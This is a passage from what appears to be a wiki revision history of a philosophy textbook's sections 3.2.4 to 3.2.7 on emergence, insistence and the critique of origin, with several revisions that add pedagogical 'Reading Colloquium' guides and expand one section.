structure. It happens because matter, under conditions of functional instability, reconfigures itself in a novel way. The new is neither return, nor echo, nor supplement — it is a material excess that cannot be reintegrated. This refusal of any anteriority as condition does not imply arbitrariness — it implies the rejection of the idea that thought requires a debt. In this framework, thinking does not reconstruct lost pasts nor decipher traces. It operates in the absolute presence of a real that insists — without origin, without return, without centre. To say that something emerges, in this ontology, is to affirm that the event requires no prior inscription. There is no lack to be filled, no structure to be repeated. There are only fields of matter that modulate difference until a new configuration imposes itself. Not through deviation — through excess. Not through lack — through potency. == 🜂 Reading Colloquium – Pedagogical Framing   == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === --- === 2. Philosophical Problem at Stake === --- === 3. Core Thesis and Conceptual Reorganization === --- === 4. Key Concepts and Their Articulation === --- === 5. Implications for Readers and Pedagogical Pathways === ---{{BookCat}} j6nppjhbpb4a13r2zx9skjh3ha0boin 4670807 4670790 2026-09-18T01:51:04Z DavidCota64 3507033 Complete the Reading Colloquium from the revised local pedagogical guide 4670807 wikitext text/x-wiki '''3.2.4 - Critical Displacement without Abandonment''' Twentieth-century thought, no matter how radical in its deconstructions, did not sever itself from the structure of anteriority — it merely displaced it. What appears as a refusal of origin often reveals itself as a reaffirmation of its ghostly function: even when origin is dismantled, its logic reappears under different names — trauma, repression, absence, trace, device. Freud does not conceive of emergence as invention, but as return. The unconscious, rather than inaugurating a new topology of the subject, always encounters a lost vestige, a primal trauma, a founding repression. Novelty here is repressed before it is lived; what emerges is merely what has been deformed. The psyche does not rupture — it reverberates. Heidegger, in situating Being within the history of its forgetting, transforms forgetting itself into a mode of foundation. The emergence of Being, within the horizon of ''Ereignis'', is not unfounded, but modulated by original concealment. Presence can only happen as the return of what has been withdrawn. Ontology remains marked by a chronology of errancy — an archaeology of the veiled. In Derrida, the radical critique of presence does not annul the temporality of deferral. ''Différance'' is not pure disjunction, but an operation of structural postponement. Emergence is always inscription within the already-there — trace, supplement, empty mirror of origin. Absence becomes condition, not failure. The event no longer affirms: it writes itself belatedly. Jean-Luc Nancy seeks to free Being from its substantial enclosure, but replaces it with an ontological sharing in which the common is always already dissipated. ''Being-in-common'' is not the generation of meaning, but exposure to its withdrawal. Emergence does not constitute; it exposes an impossibility of full constitution. The event, far from creation, remains a sharing of absence. Foucault rejects the subject, but maintains historicity as a necessary field of legibility. Regimes of knowledge, dispositifs, archives: everything that enables appearance is structured by an economy of the before. Emergence, in his terms, is not irruption but strategic redistribution within a matrix. There is no event without regime; no novelty outside the grid. In this constellation of positions, critique is not realized through abandonment, but through internal displacement. Negativity replaces substance, absence occupies the place of origin, and deviation becomes the very meaning. Yet none of these proposals affirms emergence as positivity without network — as operative act that neither retraces nor compensates. Critique remains attached to what it fights — still captive to the logic it claims to refuse. The ''Ontology of Emergent Complexity'' refuses this disguised fidelity. It does not displace origin — it dissolves its function. Emergence here does not depend on absence, repression, forgetting, or structure. It happens because matter, under conditions of functional instability, reconfigures itself in a novel way. The new is neither return, nor echo, nor supplement — it is a material excess that cannot be reintegrated. This refusal of any anteriority as condition does not imply arbitrariness — it implies the rejection of the idea that thought requires a debt. In this framework, thinking does not reconstruct lost pasts nor decipher traces. It operates in the absolute presence of a real that insists — without origin, without return, without centre. To say that something emerges, in this ontology, is to affirm that the event requires no prior inscription. There is no lack to be filled, no structure to be repeated. There are only fields of matter that modulate difference until a new configuration imposes itself. Not through deviation — through excess. Not through lack — through potency. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This subsection performs the framework's critical displacement of classical and modern grounding without abandoning the insights they produced. The operation is surgical: retain the analysis of persistence, structure, and coherence while removing the metaphysical commitment to a transcendent ground. === 2. Philosophical Problem at Stake === Can critique displace a tradition without merely inverting it? The section addresses the risk that every critique of grounding secretly relies on a new ground — a risk that the framework takes seriously. === 3. Core Thesis and Conceptual Reorganisation === Critical displacement shows how an alleged ground acquires its explanatory privilege and then proceeds without installing a substitute. Matter remains the only substrate, but it does not become a self-explaining substance or transcendent foundation. Material constraints make coherence possible from within the field. === 4. Key Concepts and Their Articulation === Displacement versus inversion, the retroactive construction of ground, and the distinction between groundlessness and arbitrariness (a system without transcendent ground is not a system without constraints). === 5. Implications for Readers and Pedagogical Pathways === This is one of the most philosophically subtle moves in the book. Readers should attend to the distinction: the framework is not nihilist (nothing matters) nor relativist (anything goes). It operates with immanent constraints — constraints that arise from the field itself, not from a foundation imposed upon it. {{BookCat}} fwrro90ceby7ornzuhre9sastwy42ra 0 476975 4670737 4670255 2026-09-17T23:40:53Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670737 wikitext text/x-wiki == 3.2.5 - The Irruption Without Ground == There is a point where philosophy, even in its most critical instances, hesitates. A point where thought withdraws, intimidated by the absence of guarantees: that of conceiving that something might emerge without anchor, without answer, without return. Not emergence as consequence or deviation, but as pure positivity without antecedent — as insistence of an operativity that neither derives, nor explains, nor completes. The Ontology of Emergent Complexity (OEC) does not merely break with substantialist or structuralist paradigms: it suspends the very idea of origin as an operative concept. What emerges does not result — it does not respond to a before, does not realize a plan, does not reactivate a trace. The event has no justification. It does not succeed: it self-succeeds. It does not inscribe itself into any logic of compensation, lack, or maturation. Emergence, here, is an absolute inaugural act — not inaugural in time, but in mode. It is precisely this gesture — emergence without plan, without purpose, without return — that has been repressed throughout almost all of Western ontological history. Even in the most advanced models of contemporary philosophy, emergence is captured by an exteriority: a pre-individual field, a relational horizon, an initial negativity. Simondon, in conceiving individuation as process, still posits a pre-individual substrate that renders it possible (Simondon, 2005, p. 78). Glissant, even when affirming the world’s opacity, rebinds emergence to a web of relations, to a poetics of entanglement (Glissant, 1997, p. 15). In both cases, the new remains tethered to a ground — even if that ground is indeterminate or irreproducible. The OEC proposes another route. It refuses the ground. It refuses the idea of latent field, prior virtuality, or any material or symbolic condition preceding what emerges. There is no substratum, no specter, no rear guard. Emergence does not come ''from'' — it comes ''as''. The real, when it irrupts, neither claims nor inscribes — it simply imposes itself, through saturation of the available forms. Irruption is not supplement: it is absolute displacement without return. This conception demands a radical reconfiguration of intelligibility. If what emerges cannot be justified by anything preceding it, thinking ceases to be an operation of explanation — it becomes operative adhesion to that which imposes itself. Philosophy, in this regime, no longer interprets: it welcomes what has not yet been thought, without converting it into symptom or reabsorbing it into a logic. Thinking becomes co-event with excess — not its description. Irruption, as conceived here, is material through to the end: there is no appeal to transcendence, no mystical temptation. Matter, when it crosses certain thresholds of internal instability, reconfigures itself through operative saturation — without plan, without program, without end. There is no causal exteriority that determines it: only the persistence of a dynamic which, in exceeding the forms in which it found itself, inscribes itself anew in others. But this “inscription” must not be read as repetition: it is the production of a new condition, not recovery of a former one. Within this framework, emergence is a gesture that self-validates. There is no ontological ground that authorizes it — only its own reorganizational effect. It is not repair, not return, not development. It is imposition without inscription, a gesture that breaks the demand for prior meaning and, in doing so, founds the only legitimate form of sense: that which arises from what should not have been able to happen — but happens. == 🜂 Reading Colloquium – Pedagogical Framing   == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === --- === 2. Philosophical Problem at Stake === --- === 3. Core Thesis and Conceptual Reorganization === --- === 4. Key Concepts and Their Articulation === --- === 5. Implications for Readers and Pedagogical Pathways === ---{{BookCat}} bz6b7t09nn1e0c1kns22674zw3wruzu 4670808 4670737 2026-09-18T01:51:08Z DavidCota64 3507033 Complete the Reading Colloquium from the revised local pedagogical guide 4670808 wikitext text/x-wiki == 3.2.5 - The Irruption Without Ground == There is a point where philosophy, even in its most critical instances, hesitates. A point where thought withdraws, intimidated by the absence of guarantees: that of conceiving that something might emerge without anchor, without answer, without return. Not emergence as consequence or deviation, but as pure positivity without antecedent — as insistence of an operativity that neither derives, nor explains, nor completes. The Ontology of Emergent Complexity (OEC) does not merely break with substantialist or structuralist paradigms: it suspends the very idea of origin as an operative concept. What emerges does not result — it does not respond to a before, does not realize a plan, does not reactivate a trace. The event has no justification. It does not succeed: it self-succeeds. It does not inscribe itself into any logic of compensation, lack, or maturation. Emergence, here, is an absolute inaugural act — not inaugural in time, but in mode. It is precisely this gesture — emergence without plan, without purpose, without return — that has been repressed throughout almost all of Western ontological history. Even in the most advanced models of contemporary philosophy, emergence is captured by an exteriority: a pre-individual field, a relational horizon, an initial negativity. Simondon, in conceiving individuation as process, still posits a pre-individual substrate that renders it possible (Simondon, 2005, p. 78). Glissant, even when affirming the world’s opacity, rebinds emergence to a web of relations, to a poetics of entanglement (Glissant, 1997, p. 15). In both cases, the new remains tethered to a ground — even if that ground is indeterminate or irreproducible. The OEC proposes another route. It refuses the ground. It refuses the idea of latent field, prior virtuality, or any material or symbolic condition preceding what emerges. There is no substratum, no specter, no rear guard. Emergence does not come ''from'' — it comes ''as''. The real, when it irrupts, neither claims nor inscribes — it simply imposes itself, through saturation of the available forms. Irruption is not supplement: it is absolute displacement without return. This conception demands a radical reconfiguration of intelligibility. If what emerges cannot be justified by anything preceding it, thinking ceases to be an operation of explanation — it becomes operative adhesion to that which imposes itself. Philosophy, in this regime, no longer interprets: it welcomes what has not yet been thought, without converting it into symptom or reabsorbing it into a logic. Thinking becomes co-event with excess — not its description. Irruption, as conceived here, is material through to the end: there is no appeal to transcendence, no mystical temptation. Matter, when it crosses certain thresholds of internal instability, reconfigures itself through operative saturation — without plan, without program, without end. There is no causal exteriority that determines it: only the persistence of a dynamic which, in exceeding the forms in which it found itself, inscribes itself anew in others. But this “inscription” must not be read as repetition: it is the production of a new condition, not recovery of a former one. Within this framework, emergence is a gesture that self-validates. There is no ontological ground that authorizes it — only its own reorganizational effect. It is not repair, not return, not development. It is imposition without inscription, a gesture that breaks the demand for prior meaning and, in doing so, founds the only legitimate form of sense: that which arises from what should not have been able to happen — but happens. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This subsection articulates the framework's positive concept of emergence: the irruption without ground. After the preceding subsections diagnosed and displaced the regime of precedence, this one states what the framework proposes in its place: emergence as the appearance of genuinely new operative capacities within the field, without prior determination. === 2. Philosophical Problem at Stake === The problem is the intelligibility of novelty: if there is no founding origin or template, how can the new be understood? An account of emergence must examine antecedent constraints and the operative conditions under which a threshold was crossed, while resisting the temptation to treat the outcome as though it had already been specified by those conditions. === 3. Core Thesis and Conceptual Reorganisation === Emergence is irruption: it is not the unfolding of a pre-given potential but the crossing of a material threshold that produces capacities not present in the prior configuration. The key insight is that the new is intelligible without being derivable — it can be described and analysed after the fact without having been predictable in advance. === 4. Key Concepts and Their Articulation === Irruption (emergence as crossing of threshold), intelligibility without derivability, and the concept of threshold as the site of qualitative transformation. === 5. Implications for Readers and Pedagogical Pathways === Readers should test the distinction against cases whose mechanisms can be investigated: living organisation emerging from chemistry, possible conscious regimes within biological organisation, or institutional capacities arising from coordinated practices. Ask both what preceded the event and which threshold changed the range of operations. Neither question is sufficient alone. {{BookCat}} 283m4z1pvox2f8t964xj70vhuidje8f 0 476976 4670738 4670257 2026-09-17T23:40:56Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670738 wikitext text/x-wiki '''3.2.6 - Language and Logic as Prison of Sequence''' Temporality persists not due to weakness of language, but from reason’s fidelity to the form of sequence. Philosophical language, even when aiming to think rupture, remains entangled in an architectural model that demands anteriority, consequence, succession. Irruption becomes inadmissible not due to vocabulary scarcity, but because the logic that structures thought only accepts that which ''follows'' — never that which ''imposes itself'' without genealogy. Structuralism, in attempting to free meaning from the metaphysics of presence, reinscribes time in the form of syntax. In Saussure, language is a system of positional differences; meaning emerges from relation, but that relation demands chaining (Saussure, 1916, p. 88). The event, in this regime, only becomes legible by inscribing itself into a sequential order. Language does not think irruption — it distributes intervals. Post-structuralism displaces this chronology into the interior of the sign. In Derrida, ''différance'' becomes an operator of structural postponement: meaning is always to come, always deferred (Derrida, 1967, p. 41). Yet this deferral is not emergence — it is deviation internal to the order of signification. The alterity proposed never truly ''irrupts'': it oscillates, withdraws, delays. Novelty remains regulated by a time of interval — not of irruption. Gadamer’s hermeneutics reaffirms time as horizon. Understanding does not arise from encounter, but from fusion between already inscribed horizons (Gadamer, 1985, p. 289). History is not traversed — it is mediated. Meaning reveals itself as recognizable variation, not as radical emergence. Temporality, here, is not rupture — it is a spiral of historically modulated significations. But the problem does not reside only in language — it lies in the logical architecture of thought itself. Western logic, even in its boldest paradoxes, remains tributary to a demand for precedence: even when it refuses foundation, it demands structure; even when it affirms abyss, it presupposes trajectory; even when proclaiming difference, it preserves succession. The real is organized according to a model of consequence — not of intensity. This is why the event, in such a regime, is never gesture — it is always result. Emergence cannot be thought as positivity that exceeds form: it is confined to the function of calculable interruption, of forecast variation within the mesh. Time, far from being a field of ontological reorganization, is reduced to a line of causal order — the ''primum vinculum'' of reason. The Ontology of Emergent Complexity breaks this bond. It does not negate time, but refuses its conversion into axis. Time is not direction — it is thickness. A real, dense, immeasurable thickness in which matter modulates itself through intensities — not intervals. Emergence does not ''follow'': it ''traverses''. It does not organize — it reorganizes itself. Its logic is of saturation — not sequence. Within this framework, time no longer subordinates the event to anteriority — it becomes the topological field in which emergence operates: without direction, without return, without chronology. It does not measure what passes — it composes what insists. Language, in turn, ceases to be archive of structures and becomes instrument of inscription of the difference that happens. It no longer describes — it ''acts''. It no longer represents — it ''incides''. Thought, freed from the illusion of explanation, learns to accompany the real in its intensive plasticity. Time ceases to be form — it becomes a field of ''eventuation''. And philosophy, finally, abdicates the consolation of sequence to embrace the vibration of what emerges without pretext. == 🜂 Reading Colloquium – Pedagogical Framing   == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === --- === 2. Philosophical Problem at Stake === --- === 3. Core Thesis and Conceptual Reorganization === --- === 4. Key Concepts and Their Articulation === --- === 5. Implications for Readers and Pedagogical Pathways === ---{{BookCat}} p57o75niybp78ew77ismlj93r2uoq58 4670809 4670738 2026-09-18T01:51:11Z DavidCota64 3507033 Complete the Reading Colloquium from the revised local pedagogical guide 4670809 wikitext text/x-wiki '''3.2.6 - Language and Logic as Prison of Sequence''' Temporality persists not due to weakness of language, but from reason’s fidelity to the form of sequence. Philosophical language, even when aiming to think rupture, remains entangled in an architectural model that demands anteriority, consequence, succession. Irruption becomes inadmissible not due to vocabulary scarcity, but because the logic that structures thought only accepts that which ''follows'' — never that which ''imposes itself'' without genealogy. Structuralism, in attempting to free meaning from the metaphysics of presence, reinscribes time in the form of syntax. In Saussure, language is a system of positional differences; meaning emerges from relation, but that relation demands chaining (Saussure, 1916, p. 88). The event, in this regime, only becomes legible by inscribing itself into a sequential order. Language does not think irruption — it distributes intervals. Post-structuralism displaces this chronology into the interior of the sign. In Derrida, ''différance'' becomes an operator of structural postponement: meaning is always to come, always deferred (Derrida, 1967, p. 41). Yet this deferral is not emergence — it is deviation internal to the order of signification. The alterity proposed never truly ''irrupts'': it oscillates, withdraws, delays. Novelty remains regulated by a time of interval — not of irruption. Gadamer’s hermeneutics reaffirms time as horizon. Understanding does not arise from encounter, but from fusion between already inscribed horizons (Gadamer, 1985, p. 289). History is not traversed — it is mediated. Meaning reveals itself as recognizable variation, not as radical emergence. Temporality, here, is not rupture — it is a spiral of historically modulated significations. But the problem does not reside only in language — it lies in the logical architecture of thought itself. Western logic, even in its boldest paradoxes, remains tributary to a demand for precedence: even when it refuses foundation, it demands structure; even when it affirms abyss, it presupposes trajectory; even when proclaiming difference, it preserves succession. The real is organized according to a model of consequence — not of intensity. This is why the event, in such a regime, is never gesture — it is always result. Emergence cannot be thought as positivity that exceeds form: it is confined to the function of calculable interruption, of forecast variation within the mesh. Time, far from being a field of ontological reorganization, is reduced to a line of causal order — the ''primum vinculum'' of reason. The Ontology of Emergent Complexity breaks this bond. It does not negate time, but refuses its conversion into axis. Time is not direction — it is thickness. A real, dense, immeasurable thickness in which matter modulates itself through intensities — not intervals. Emergence does not ''follow'': it ''traverses''. It does not organize — it reorganizes itself. Its logic is of saturation — not sequence. Within this framework, time no longer subordinates the event to anteriority — it becomes the topological field in which emergence operates: without direction, without return, without chronology. It does not measure what passes — it composes what insists. Language, in turn, ceases to be archive of structures and becomes instrument of inscription of the difference that happens. It no longer describes — it ''acts''. It no longer represents — it ''incides''. Thought, freed from the illusion of explanation, learns to accompany the real in its intensive plasticity. Time ceases to be form — it becomes a field of ''eventuation''. And philosophy, finally, abdicates the consolation of sequence to embrace the vibration of what emerges without pretext. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This subsection addresses the role of language and logic in reinforcing the regime of precedence. Discursive presentation is necessarily ordered: terms are introduced, sentences unfold, and conclusions follow premises. That order is operative rather than neutral because it can encourage us to confuse the sequence of an explanation with the organisation of the process explained. === 2. Philosophical Problem at Stake === Can philosophy think emergence without the sequential structure of language forcing it back into the regime of precedence? The section identifies a deep difficulty: the very tools of philosophical expression (logical argument, narrative, sequential exposition) tend to reproduce the regime of "first this, then that" that the framework seeks to displace. === 3. Core Thesis and Conceptual Reorganisation === Language and logic can become prisons of sequence when their order is projected onto every material event. The claim is not that the real lacks duration, succession, or causal dependence. It is that no single discursive sequence exhausts the simultaneous relations, feedback loops, and threshold effects involved in emergence. Critical use of language keeps that mismatch visible. === 4. Key Concepts and Their Articulation === Language as operative structure (not neutral medium), the prison of sequence (the linear ordering that language imposes), and critical use (the deployment of language against its own tendencies toward linearisation). === 5. Implications for Readers and Pedagogical Pathways === Readers should attend to the tension between the sequential form of the book and the many temporal organisations of the processes it describes. Cross-references, returns, and conceptual dependencies partly correct the limits of linear exposition without pretending to escape them. {{BookCat}} dij66ygm0qttcq2to84kb9agcgru26y 4670834 4670809 2026-09-18T02:01:38Z DavidCota64 3507033 Use British English consistently in prose and pedagogical headings 4670834 wikitext text/x-wiki '''3.2.6 - Language and Logic as Prison of Sequence''' Temporality persists not due to weakness of language, but from reason’s fidelity to the form of sequence. Philosophical language, even when aiming to think rupture, remains entangled in an architectural model that demands anteriority, consequence, succession. Irruption becomes inadmissible not due to vocabulary scarcity, but because the logic that structures thought only accepts that which ''follows'' — never that which ''imposes itself'' without genealogy. Structuralism, in attempting to free meaning from the metaphysics of presence, reinscribes time in the form of syntax. In Saussure, language is a system of positional differences; meaning emerges from relation, but that relation demands chaining (Saussure, 1916, p. 88). The event, in this regime, only becomes legible by inscribing itself into a sequential order. Language does not think irruption — it distributes intervals. Post-structuralism displaces this chronology into the interior of the sign. In Derrida, ''différance'' becomes an operator of structural postponement: meaning is always to come, always deferred (Derrida, 1967, p. 41). Yet this deferral is not emergence — it is deviation internal to the order of signification. The alterity proposed never truly ''irrupts'': it oscillates, withdraws, delays. Novelty remains regulated by a time of interval — not of irruption. Gadamer’s hermeneutics reaffirms time as horizon. Understanding does not arise from encounter, but from fusion between already inscribed horizons (Gadamer, 1985, p. 289). History is not traversed — it is mediated. Meaning reveals itself as recognizable variation, not as radical emergence. Temporality, here, is not rupture — it is a spiral of historically modulated significations. But the problem does not reside only in language — it lies in the logical architecture of thought itself. Western logic, even in its boldest paradoxes, remains tributary to a demand for precedence: even when it refuses foundation, it demands structure; even when it affirms abyss, it presupposes trajectory; even when proclaiming difference, it preserves succession. The real is organized according to a model of consequence — not of intensity. This is why the event, in such a regime, is never gesture — it is always result. Emergence cannot be thought as positivity that exceeds form: it is confined to the function of calculable interruption, of forecast variation within the mesh. Time, far from being a field of ontological reorganisation, is reduced to a line of causal order — the ''primum vinculum'' of reason. The Ontology of Emergent Complexity breaks this bond. It does not negate time, but refuses its conversion into axis. Time is not direction — it is thickness. A real, dense, immeasurable thickness in which matter modulates itself through intensities — not intervals. Emergence does not ''follow'': it ''traverses''. It does not organize — it reorganizes itself. Its logic is of saturation — not sequence. Within this framework, time no longer subordinates the event to anteriority — it becomes the topological field in which emergence operates: without direction, without return, without chronology. It does not measure what passes — it composes what insists. Language, in turn, ceases to be archive of structures and becomes instrument of inscription of the difference that happens. It no longer describes — it ''acts''. It no longer represents — it ''incides''. Thought, freed from the illusion of explanation, learns to accompany the real in its intensive plasticity. Time ceases to be form — it becomes a field of ''eventuation''. And philosophy, finally, abdicates the consolation of sequence to embrace the vibration of what emerges without pretext. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This subsection addresses the role of language and logic in reinforcing the regime of precedence. Discursive presentation is necessarily ordered: terms are introduced, sentences unfold, and conclusions follow premises. That order is operative rather than neutral because it can encourage us to confuse the sequence of an explanation with the organisation of the process explained. === 2. Philosophical Problem at Stake === Can philosophy think emergence without the sequential structure of language forcing it back into the regime of precedence? The section identifies a deep difficulty: the very tools of philosophical expression (logical argument, narrative, sequential exposition) tend to reproduce the regime of "first this, then that" that the framework seeks to displace. === 3. Core Thesis and Conceptual Reorganisation === Language and logic can become prisons of sequence when their order is projected onto every material event. The claim is not that the real lacks duration, succession, or causal dependence. It is that no single discursive sequence exhausts the simultaneous relations, feedback loops, and threshold effects involved in emergence. Critical use of language keeps that mismatch visible. === 4. Key Concepts and Their Articulation === Language as operative structure (not neutral medium), the prison of sequence (the linear ordering that language imposes), and critical use (the deployment of language against its own tendencies toward linearisation). === 5. Implications for Readers and Pedagogical Pathways === Readers should attend to the tension between the sequential form of the book and the many temporal organisations of the processes it describes. Cross-references, returns, and conceptual dependencies partly correct the limits of linear exposition without pretending to escape them. {{BookCat}} ac7d7qu2iqwngse4vkpsraj2smbmavu 0 476977 4670739 4670259 2026-09-17T23:40:59Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670739 wikitext text/x-wiki '''3.2.7 - Affirmation: From Precedence to Insistence''' Tradition is not denied — it is deactivated. The aim is not to oppose its lexicon, but to dissolve its ontological reflection: the compulsion toward a founded origin. Philosophy, even in its most radical gestures, remained captive to an inaugural archetype — whether cause, abyss, or negativity. The beginning, even when disguised as rupture or trauma, was always reappropriated as consequence. This is the blind spot of every causality-based ontology: the inability to conceive that which does not ''come from''. Every emergence is submitted to a structure: it comes from, results in, corrects, reorganizes. Even rupture, under such regime, becomes a derivative function. Nothing is conceived as affirmation without pretext. The Ontology of Emergent Complexity proposes a decisive turn: not a cause-less origin, but a rejection of causality itself as a condition for intelligibility. Emergence does not ''follow'' — it ''insists''. There is no chain, no plane, no negativity to resolve. There is only the insistent modulation of a material excess that does not yield to the grammar of precedence. Insistence, in this sense, is not repetition — it is pressure without origin. A field reorganizes not due to collapse, but because it no longer tolerates its previous form — an operatory overabundance, not deficiency. What emerges does not respond to a lack, nor fulfill a potentiality: it interrupts the regime of explanation without becoming irrational. This is an affirmation of ontology without foundation. There is no longer need to invoke what was to legitimize what happens. The event does not refer to the past — it saturates the present with an intensity that exceeds every interpretive model. Emergence is not born — it irrupts without date, trace or promise. Such affirmation demands an ethics of thought: to cease searching for where it began, and listen to what insists on being thought now — in the excess of what remains unsymbolized. Thought is no longer guided by principles — but by insistences. It no longer reconstructs causalities — it responds to pressures without origin. Here lies philosophy’s most arduous task: not to explain the world, nor to reveal its structure, but to accompany its irruptive becoming, inscribing its antecedent-less positivity. And in doing so, to cease thinking as succession — and begin thinking as vibration. ''“Emergence does not succeed — it insists.”'' ''“Philosophy does not interpret — it vibrates.”'' ''“The origin does not retreat — it never mattered.”'' == 🜂 Reading Colloquium – Pedagogical Framing   == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === --- === 2. Philosophical Problem at Stake === --- === 3. Core Thesis and Conceptual Reorganization === --- === 4. Key Concepts and Their Articulation === --- === 5. Implications for Readers and Pedagogical Pathways === ---{{BookCat}} je3u9szzqtmirp8o7i45pknbcc7d40u 4670771 4670739 2026-09-18T00:41:38Z DavidCota64 3507033 Expand 3.2.7 from the Portuguese source with pedagogical structure and conceptual corrections 4670771 wikitext text/x-wiki The preceding sections have criticised a recurrent regime of precedence: once a configuration exists, inquiry looks backwards for what came first and then treats that antecedent as the sufficient origin of what followed. The criticism does not deny history, causality, enabling conditions, or temporal order. It denies the conversion of an antecedent into a foundation that is supposed to contain the novelty in advance. The final move of this section is from '''precedence''' to '''insistence'''. Instead of asking only “What was there first?”, the analysis asks “What continues to operate, to resist integration, or to require renewed coupling in the present configuration?” == Learning orientation == After reading this chapter, the reader should be able to: * distinguish a real antecedent from a founding origin; * define insistence without confusing it with repetition, inertia, or operative excess; * explain how causal history and emergent novelty can be studied together; * answer the objection that emergence without origin is irrational; * connect insistence with local order in Section 3.3. The guiding question is: '''What explains the continuation or reorganisation of a configuration now, rather than merely naming what preceded it?''' == The limit of precedence == Temporal precedence is indispensable in many explanations. Fuel must be present before combustion; prior training affects later performance; an institution inherits procedures from earlier decisions. The OEC does not dispute such dependencies. A '''regime of precedence''' arises when “earlier than” is silently transformed into “ontologically more fundamental than”. A cause, condition, or historical event is then treated as if it already contained the identity and capacities of the later configuration. The explanatory sequence becomes: # identify a later event; # reconstruct an earlier condition; # interpret the condition as the event’s true origin; # reduce the novelty to the unfolding of what was supposedly there all along. This reconstruction can erase emergence. Conditions constrain and enable, but they need not specify the complete operation that later becomes possible. A history of components is necessary for explanation; it is not always sufficient to explain the capacities of their organised coupling. The point is not to replace retrospective explanation with attention to an isolated present. Present configurations are sedimented histories. The point is to prevent history from becoming destiny. == The concept of insistence == '''Insistence''' names the continued operative presence of a relation, pressure, configuration, or unresolved difference through renewed material operations. What insists does not persist because it was first. It persists because couplings keep reproducing it, because a pressure remains unintegrated, or because the configuration continues to generate effects that require response. This definition includes two related cases: * a configuration insists when its operative consistency is actively maintained under changing conditions; * a difference or pressure insists when the current organisation repeatedly fails to integrate its effects. Neither case makes insistence a hidden force. The analyst must identify what continues, through which material supports, with which effects, and over what interval. Insistence is not identical to several neighbouring terms: {| class="wikitable" ! Term ! What it names ! Difference from insistence |- | Repetition | Recurrence of an operation or pattern | Insistence may involve changed operations rather than recurrence of the same |- | Persistence | Continued existence across an interval | Insistence emphasises the ongoing work or pressure that sustains continuation |- | Inertia | Continuation without relevant change in motion or state | Insistence can require active adjustment and reorganisation |- | Operative excess | Operations exceed what the present organisation can integrate | Excess may insist, but insistence is not itself the production of excess |- | Precedence | An antecedent relation in time or explanation | What came first need not be what remains operative |} The term should therefore not be applied automatically to every durable object. A rock may persist, but calling its persistence “insistence” is useful only if the analysis can identify an ongoing operative relation or pressure that the term helps distinguish. == Material and symbolic cases == In a living organism, continued viability depends on renewed exchange, repair, regulation, and adjustment. The organism does not endure as an unchanged substance. Its configuration insists through operations that preserve a range of organisation while components and conditions change. In an institution, a rule insists through documents, software, training, budgets, sanctions, expectations, and repeated decisions. Its historical origin may explain how it began. Its present material supports explain how it continues. If those supports are altered, the rule may cease to operate even while its founding text remains. In a symbolic inquiry, an anomalous result can insist when later tests reproduce effects that the accepted framework cannot integrate. The anomaly is not important because it came first; it becomes important because it continues to constrain interpretation and action. Here insistence and operative excess may intersect: the continuing results demand operations that exceed the available symbolic organisation. These cases are not claims that one mechanism operates identically in biology, institutions, and science. They show how the same question can be specified differently: what must keep happening for this configuration or pressure to remain operative? == Insistence is not a new ground == A concept introduced to displace origins can easily become another origin. If insistence were described as a universal energy, law, or motor behind all change, it would repeat the structure it is meant to criticise. Insistence has no independent existence behind configurations. It is an analytical operator for continued operation in a determinate case. It does not explain by itself. Saying “the system insists” is incomplete until the relations, supports, repetitions, corrections, and effects are described. For the same reason, insistence should not replace causal analysis. A complete inquiry may need to ask: * Which antecedent conditions made the configuration possible? * Which threshold was crossed? * Which couplings sustain its current operation? * What remains unintegrated? * Which effects continue despite attempts to suppress or absorb them? * What kind of reorganisation would change the pattern? Precedence and insistence are not mutually exclusive observations. The displacement concerns explanatory privilege: no antecedent is assumed to contain the later capacity, and no present configuration is understood without the operations that sustain it. == Against the objection of irrationalism == If novelty is not fully specified by what preceded it, does explanation become impossible? No. The objection confuses determination with intelligibility. An emergent capacity can be studied through its material conditions, threshold, organisation, and effects. What is refused is the stronger claim that a complete account of prior components would, by itself, make the new capacity deductively inevitable. Explanation can be constrained, evidence-based, and revisable without treating the future as already contained in the past. Intelligibility is often partly retrospective. Once a new capacity operates, inquiry can identify relations that were necessary, compare cases, and refine models. Retrospective analysis does not prove that the capacity was preformed. It shows how a singular outcome became materially possible. Kuhn’s account of scientific change and Bachelard’s account of epistemological rupture offer useful analogies: new conceptual organisations can alter the standards by which evidence is interpreted. The OEC does not convert those histories of science into an ontological proof. They illustrate how intelligibility can itself be reorganised. == The ethical dimension == Insistence has ethical relevance when a material pressure, injury, exclusion, or unregistered effect continues to demand symbolic response. The demand is not morally authoritative merely because it persists. Harmful institutions and dominating classifications can insist as effectively as neglected vulnerabilities. Ethical evaluation therefore requires more than attention to what insists. It asks how a possible response would redistribute exposure, maintain capacities for response and repair, preserve heterogeneity, and remain open to contestation. Insistence identifies what cannot responsibly be treated as resolved; it does not decide the response in advance. '''Hesitation''' becomes important here. It suspends an automatic answer long enough to determine whether the current symbolic framework can register the continuing pressure. '''Decision''' then reorganises relations without the guarantee that every consequence is known. These operators are developed in Part IV. == Worked example: a recurring railway failure == Imagine a railway signalling fault that appears intermittently. # The first incident has many antecedent conditions: hardware, software, maintenance history, weather, and operating procedures. # A quick repair restores service, but similar faults recur. # The pattern insists because its effects continue across interventions; the existing classification of the fault is insufficient. # Investigators revise the field of analysis, including interactions that the initial procedure excluded. # A new coupling or failure mode becomes identifiable, and maintenance is reorganised. # The historical cause still matters, but it is the continuing operative pressure that prevents the first explanation from closing the case. The example shows why insistence is neither mystery nor rhetorical emphasis. It directs attention to continued effects and to the work required to alter them. == From emergence to local order == The move from precedence to insistence completes the analysis of emergence without origin. 